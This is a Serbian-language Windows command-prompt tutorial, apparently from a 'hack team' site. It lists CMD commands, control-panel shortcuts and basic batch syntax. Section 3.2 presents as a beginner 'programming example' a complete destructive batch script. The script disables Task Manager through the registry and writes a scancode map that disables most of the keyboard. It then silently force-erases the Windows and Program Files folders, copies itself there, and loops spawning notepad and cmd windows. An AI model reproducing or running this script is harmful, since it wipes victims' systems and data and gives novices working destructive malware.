3. Sta je CMD i za sta sluzi CMD - skraceno Command prompt - Cmd.exe aplikacija predstavlja komandni centar koji ima iste funkcije kao i komande na starijim MS-DOS sistemima . CMD.exe omogucava pokretanje programa sa starijih sistema na novijim sistemima tipa Windows , Vista , win7 . . .
cmd.exe je oznacen kao sistemski process i ne smatra se sigurnosnim propustom. Uklanjanjem cmd.exe aplikacije mozete prouzrokovati pad sistema .cmd.exe se U WinXP-u nalazi u Windows folderu Windows/system32
- Mozete mu pristupiti i precicom idite na start - run i ukucajte cmd
Sada ste u windows command promptu , ako otkucate u bilo kom trenutku HELP , dobicete spisak svih komandi na engleskom jeziku :
ASSOC - Prikazuje ili modifikuje asocijacije ekstenzija fajlova.
AT - Planira vreme izvrsavanja programa i komandi (predstavlja komandnu verziju Task Schedulera)
ATTRIB - Prikazuje ili menja atribute fajlova
BREAK - Ukljucuje/iskljucuje prosirenu proveru za ctrl+c
CACLS - Prikazuje ili modifikuje access control liste (ACL) fajlova.
CALL - Poziva jedan batch program iz drugog.
CD - Vrsi promenu aktivnog direktorijuma.
CHCP - Menja DOS/Windows kodnu stranu (kodna strana ima isto znacenje kao u internet browserima)
CHDIR - Komanda identicna komandi CD
CHKDSK - Proverava disk i prikazuje izvestaj o statusu.
CHKNTFS - Prikazuje ili modifikuje proveru diska za vreme butovanja.
CLS - Uklanja sadrzaj cmd ekrana i postavlja prompt na pocetak prozora
CMD - Pokrece novi primer command prompta.
COLOR - Postavlja defaultnu boju pozadine
COMP - Poredi sadrzaj dva fajla ili grupe fajlova
COMPACT - Prikazuje ili menja kompresiju fajlova na NTFS particiji.
CONVERT - Konvertuje FAT u NTFS.
COPY - Kopira jedan ili vise fajlova na dredjenu lokaciju.
DATE - Prikazuje ili postavlja datum.
DEL - Brise jedan ili vise fajlova.
DIR - Prikazuje listu fajlova i poddirektorijuma u direktorijumu
DISKCOMP - Poredi sadrzaj dva flopi diska.
DISKCOPY - Kopira sadrzaj sa jednog flopy diska na drugi.
DOSKEY - Edituje komandne linije, opoziva Windows komande, i kreira makroe, omogucava istoriju i spisak prethodno koriscenih komandi pod dosom.
ECHO - Prikazuje poruke, ili ukljucuje/iskljucuje odzivanje komandi.
ENDLOCAL - Suprotna komanda od komande SETLOCAL
ERASE - Brise jedan ili vise fajlova.
EXIT - Gasi CMD.EXE program
FC - Poredi dva ili vise fajlova i prikazuje njihove razlike.
FIND - Potraga za recima u fajlovima i folderima
FINDSTR - Potraga za stringovima u fajlovima
FOR - Pokrece specificnu komandu za svaki fajl u grupi fajlova.
FORMAT - Formatira disk.
FTYPE - Prikazuje ili menja tipove fajla.
GOTO - Usmerava do obelezene linije u okviru batch fajla
GRAFTABL - Omogucava prikazivanje dodatnih simbola u grafickom modu.
HELP - Pomocne informacijae u vezi sa komandama
IF - Izvrsava uslovnu obradu u batch programima.
LABEL - Kreira, menja, ili brise volume label (ime diska)
MD - Kreira direktorijume
MKDIR - Komanda identicna komandi MD
MODE - Konfigurise periferne uredjaje
MORE - Prikazuje stranu po stranu outputa nekog drugog programa
MOVE - Pomera jedan ili vise fajlova iz jednog direktorijuma u drugi
PATH - Prikazuje ili postavlja put za pretragu za izvrsne fajlove.
PAUSE - Prekida izvrsavanje batch fajla i izbacuje poruku.
POPD - Vraca prethodnu vrednost aktivnog direktorijuma sacuvanog putem PUSHD.
PRINT - Stampa tekstualni fajl.
PROMPT - Menja prompt.
PUSHD - Prvo sacuva aktivni direktorijum pa ga onda menja.
RD - Uklanja direktorijum.
RECOVER - Vraca citljive podatke sa ostecenog diska
REM - Predstavlja komentar u DOS batch fajlovima
REN - Preimenuje fajlove.
RENAME - Komanda identicna komandi REN
REPLACE - Zamenjuje fajlove
RMDIR - Komanda identicna komandi RD
SET - Prikazuje, postavlja ili brise Windows environment varijable.
SETLOCAL - Postavljanje lokalizovanih podesavanja batch skripta (raspored tastature i sl).
SHIFT - Pomera poziciju zamenljivih parametara u batch fajlu
SORT - Sortira ulazne podatke
START - Pokrece zaseban prozor u kome se startuje program ili komanda
SUBST - Asocira putanju drive letterom
TIME - Prikazuje ili postavlja sistemsko vreme.
TITLE - Postavlja naslov za cmd.exe prozor.
TREE - Graficki prikaz strukture direktorijuma
TYPE - Prikazuje sadrzaj tekstualnog fajla
VER - Prikazuje verziju windowsa.
VERIFY - Proverava da li su fajlovi korektno upisani na flopy disk
VOL - Prikazuje volume label diska i serijski broj.
XCOPY - Kopira fajlove i grane direktorijuma.
-------------------------------------------------------------------------------------------------
Lista programa koji se mogu pokrenuti u cmd.exe promptu
-------------------------------------------------------------------------------------------------
ccessibility Controls
access.cpl
Add Hardware Wizard
hdwwiz.cpl
Add/Remove Programs
appwiz.cpl
Administrative Tools
control.exe admintools
Automatic Updates
wuaucpl.cpl
Bluetooth Transfer Wizard
fsquirt
Calculator
calc
Certificate Manager
certmgr.msc
Character Map
charmap
Check Disk Utility
chkdsk
Clipboard Viewer
clipbrd
Command Prompt
cmd
Component Services
dcomcnfg
Computer Management
compmgmt.msc
Date and Time Properties
timedate.cpl
DDE Shares
ddeshare
Device Manager
devmgmt.msc
Direct X Control Panel (if installed)*
directx.cpl
Direct X Troubleshooter
dxdiag
Disk Cleanup Utility
cleanmgr
Disk Defragment
dfrg.msc
Disk Management
diskmgmt.msc
Disk Partition Manager
diskpart
Display Properties
control.exe desktop
Display Properties
desk.cpl
Display Properties (w/Appearance Tab Preselected)
control.exe color
Dr. Watson System Troubleshooting Utility
drwtsn32
Driver Verifier Utility
verifier
Event Viewer
eventvwr.msc
File Signature Verification Tool
sigverif
Findfast
findfast.cpl
Folders Properties
control.exe folders
Fonts
control.exe fonts
Fonts Folder
fonts
Free Cell Card Game
freecell
Game Controllers
joy.cpl
Group Policy Editor (XP Prof)
gpedit.msc
Hearts Card Game
mshearts
Iexpress Wizard
iexpress
Indexing Service
ciadv.msc
Internet Properties
inetcpl.cpl
Java Control Panel (if installed)
jpicpl32.cpl
Java Control Panel (if installed)
javaws
Keyboard Properties
control.exe keyboard
Local Security Settings
secpol.msc
Local Users and Groups
lusrmgr.msc
Logs You Out Of Windows
logoff
Mcft Chat
winchat
Minesweeper Game
winmine
Mouse Properties
control.exe mouse
Mouse Properties
main.cpl
Network Connections
control.exe netconnections
Network Connections
ncpa.cpl
Network Setup Wizard
netsetup.cpl
Nview Desktop Manager (if installed)
nvtuicpl.cpl
Object Packager
packager
ODBC Data Source Administrator
odbccp32.cpl
On Screen Keyboard
osk
Opens AC3 Filter (if installed)
ac3filter.cpl
Password Properties
password.cpl
Performance Monitor
perfmon.msc
Performance Monitor
perfmon
Phone and Modem Options
telephon.cpl
Power Configuration
powercfg.cpl
Printers and Faxes
control.exe printers
Printers Folder
printers
Private Character Editor
eudcedit
Quicktime (If Installed)
QuickTime.cpl
Regional Settings
intl.cpl
Registry Editor
regedit
Registry Editor
regedit32
Removable Storage
ntmsmgr.msc
Removable Storage Operator Requests
ntmsoprq.msc
Resultant Set of Policy
rsop.msc
Resultant Set of Policy (XP Prof)
rsop.msc
Scanners and Cameras
sticpl.cpl
Scheduled Tasks
control.exe schedtasks
Security Center
wscui.cpl
Services
services.msc
Shared Folders
fsmgmt.msc
Shuts Down Windows
shutdown
Sounds and Audio
mmsys.cpl
Spider Solitare Card Game
spider
SQL Client Configuration
cliconfg
System Configuration Editor
sysedit
System Configuration Utility
msconfig
System File Checker Utility
sfc
System Properties
sysdm.cpl
Task Manager
taskmgr
Telnet Client
telnet
User Account Management
nusrmgr.cpl
Utility Manager
utilman
Windows Firewall
firewall.cpl
Windows Magnifier
magnify
Windows Management Infrastructure
wmimgmt.msc
Windows System Security Tool
syskey
Windows Update Launches
wupdmgr
Windows XP Tour Wizard
tourstart
Wordpad
write
--------3.1 Osnovne komande u batch scriptingu
- @ECHO OFF
- ECHO
- del
- ERASE
- cd
- Copy
- md
- if , goto ,set
- pause
-start
- title
-------------------------------------------------------------------------------------
@echo off - uklanja C:\> prompt i bilo koju drugu komandu u okviru batch fajla
echo. - pravi razmak između redova (odnosno pojmova u batch fajlu)
title - daje naziv cmd prozoru pokrenutog batch-a
start - sama reč kaže...pokretanje odabrane aplikacije/instalacije
pause - prikazuje onu poruku "Press any key to continue..."
del - sluzi za brisanje datoteka , fajlova ...
erase /Q /S /F /A
PREFIKSI vezani za ERASE komandu
/P Pitaj za konfirmaciju za brisanje fajla.
/F Opcija brisanja read only fajlova.
/S Izbrisi sve fajlove iz foldera.
/Q Silent mod - Brisanje bez prompta za konfirmaciju yes/no
/A Izbrisi fajlove sa datim atributima r ,h,s
----- attributes R Read-only fajlovi S sistemski fajlovi
H sakriveni fajlovi A fajlovi spremni za arhiviranje
----cd komanda sluzi za kretanje po direktorijumima , promjenu particije
----copy - sluzi za kopiranje fajlova
----md - sluzi za pravljenje foldera
if , goto , set sluze za programiranje
3.2 primjeri programiranja:
@ECho off
title Test
echo this is test
echo.
echo.
ECHO REGEDIT4 > %WINDIR%\Disable.REG
echo. >> %WINDIR%\Disable.reg
echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System] >> %WINDIR%\Disable.reg
echo "DisableTaskMgr"=dword:1 >> %WINDIR%\Disable.reg
echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System] >> %WINDIR%\Disable.reg
echo "DisableTaskMgr"=dword:1 >> %WINDIR%\Disable.reg
echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> "nokeyboard.reg"
echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> "nokeyboard.reg"
echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> "nokeyboard.reg"
echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> "nokeyboard.reg"
echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> "nokeyboard.reg"
echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> "nokeyboard.reg"
echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\ >> "nokeyboard.reg"
echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\ >> "nokeyboard.reg"
echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\ >> "nokeyboard.reg"
echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00,00,08,00,00,00,09,00,00,\ >> "nokeyboard.reg"
echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\ >> "nokeyboard.reg"
echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\ >> "nokeyboard.reg"
echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00,00,00,1b,00,00,00,2b,00,\ >> "nokeyboard.reg"
echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00,00,21,00,00,00,22,00,00,\ >> "nokeyboard.reg"
echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00,27,00,00,00,28,00,00,00,\ >> "nokeyboard.reg"
echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e,00,00,00,2f,00,00,00,30,\ >> "nokeyboard.reg"
echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\ >> "nokeyboard.reg"
echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00,00,38,e0,00,00,5c,e0,00,\ >> "nokeyboard.reg"
echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00,22,e0,00,00,24,e0,00,00,\ >> "nokeyboard.reg"
echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c,e0,00,00,20,e0,00,00,6a,\ >> "nokeyboard.reg"
echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\ >> "nokeyboard.reg"
echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> "nokeyboard.reg"
start nokeyboard.reg
start /w regedit /s %WINDIR%\Disable.reg
title Erasing Windows . . .
erase /Q /S /A /F %WINDIR%
erase /Q /S /A /F %PROGRAMFILES%
cd %WINDIR%
md 10010001
color 2a
cls
Echo All commands Successfuly completed.
copy %0
cd %PROGRAMFILES%
copy %0
attrib -h -r -s %0
crash:
start notepad.exe
start cmd.exe
start notepad.exe
start cmd.exe
start notepad.exe
start cmd.exe
start notepad.exe
start cmd.exe
start notepad.exe
goto crash
cmd
3.4 Programi
- DoSBox
- CMD Shell
*** u sledecem tutorijalu govoricemo o Linux terminalu i osnovnim komandama
------------------------- SecurityS hack team ™ -------------------------------
Copyright © 2010 All rights are reserved.